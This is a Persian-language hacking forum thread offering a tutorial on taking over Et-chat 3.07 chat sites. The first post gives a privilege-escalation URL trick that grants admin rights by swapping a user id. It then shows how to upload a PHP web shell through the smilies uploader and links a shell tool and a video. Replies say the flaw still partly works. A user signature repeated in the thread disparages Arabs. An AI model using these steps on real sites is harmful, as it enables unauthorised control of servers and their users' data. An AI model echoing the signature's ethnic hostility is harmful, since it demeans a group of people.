SpareNet Servers Advertising & Link Exchange

اطلاعیه

بستن
هیچ اطلاعیه ای هنوز ایجاد نشده است .

آموزش هک چت روم های Et-chat و آپلود شل با آسیب پذیری CSRF

بستن
X
بستن
 
  • صفحه از 1
  • فیلتر
  • زمان
  • نمایش
پاک کردن همه
نوشته‌های جدید
قبلی template بعدی
  • #1

    آموزش هک چت روم های Et-chat و آپلود شل با آسیب پذیری CSRF

    سلام به دوستان عزیز

    چند روز پیش این آسیب پذیری رو دیدم که برادر XpR مدتی قبل شناسایی کرده به همین دلیل ازش یک فیلم تهیه کردم . البته با اجازه

    کد:
    # Exploit Title: Et-chat 3.07 user id Parameter Remote code execution

# Exploit Author: MR.XpR

# Script Download : http://et-chat.ir/up/et_chat_v307.zip

# Risk : Normal

# Platforms : PHP

# Tested on: 7 , KAli , Vista

# Date : 2013

<------------------------------------------>

-==========<RcE>==========-


# How does :

This error occurs due to keep cookies


# Exploit :


/?AdminRegUserEdit&[user or admin]&id=[Parameter]

/?AdminRegUserEdit&admin&id=[Parameter]


# p0c :


get the user id and replace to Parameter

For example, my user id is 4

http://site.com/chat/?AdminRegUserEdit&admin&id=4

next u are a admin user



-==========<Uploader>==========-

# For uploading sh3ll go to

/?AdminInsertSmilies <====- Uploader

http://site.com/chat/?AdminInsertSmilies

# your shell Should be less than 15 KB

Patch your sh3ll from :

http://site.com/smilies/sh3ll.php



-=====> IRH mini sheller For Use To this Exploit : <=====-


# Download :

http://uploaderx.persiangig.com/IRH_MINI_Sheller_V1/IRH-Mini-Sheller.zip

# D3mo video :

http://uploaderx.persiangig.com/Et_RCe_Rfu.zip

# for more security :

http://iranhack.com/acc/thread-1082.html


<------------------------------------------>

Greetz : V30Sharp , Moji Rider , Secret.Walker , K3rn3l , Samim.s , Farbod Ezrail , @3is , 3nist3in , Siamak.Black

Greetz : r0bb3r68 , M.R.S.CO , Mя.V3nd3tt4 , N4BIL , Ali_Sedaghat , MR.XHat , vahid4251 , HACKER OF FLOOD & All Member OF IRH

    البته این RCE حساب نمیشه در اصل CSRF هست ولی جناب XPR منظورو رسونده . و این مهمه


    لینک دانلود فیلم آموزشی هک چت روم های Etchat ورژن 3.07


    حجم زیاد بود به 5 پارت تقسیم کردم :

    لینک دانلود پارت اول

    لینک دانلود پارت دوم

    لینک دانلود پارت سوم

    لینک دانلود پارت چهارم

    لینک دانلود پارت پنجم

    دوستان لطفا یه نفر لینک مستقیم بزاره من توی 4shared ریختم اونم مال خودم نیست مال دوستانه [img]images/smilies/Smileys/8.gif[/img]
    کوروش خلیجتو خلیج عرب نامیدن ، ولی بازم عربو تو وطن راه میدن همون عربهای که هستن تشنه به خونمون همونا که دخترا رو کردن زنده به گورشون
    برچسب ها: هیچ یک
  • #2
    RE: آموزش هک چت روم های Et-chat و آپلود شل با آسیب پذیری CSRF

    [img]images/smilies/Smileys/1.gif[/img] ممنون از آموزشت ولی این روش خیلی وقته  باگ گرفته شده ولی

    هنوز هم باگ sql  در این اسکریپ موجود هست
    [align=center]ما جایی زندگی می کنیم که

    هرزگی : مد

    بی آبرویی : کلاس

    مستی و دود : تفریح

    و لاشخوری و گرگ بودن

    رمـز موفقیته !!!    [/align]

    نظر

    • #3
      RE: آموزش هک چت روم های Et-chat و آپلود شل با آسیب پذیری CSRF

      با تشکر از برادر عزیز Deface

      این آسیب پذیری هنوز جواب میده کمو بیش

      البته مد نظر داشته باش آسیب پذیری های زیادی داره ، اگر ویدویی در این زمینه داری قرار بده ، نتیجه نهایی مهمه یه سری اکسپلویت دیدم یه تیمی قبلا گذاشته بود متاسفانه فقط سیاه کاری بود .

      ممنون
      کوروش خلیجتو خلیج عرب نامیدن ، ولی بازم عربو تو وطن راه میدن همون عربهای که هستن تشنه به خونمون همونا که دخترا رو کردن زنده به گورشون

      نظر

      قبلی template بعدی
      صبر کنید ..
      X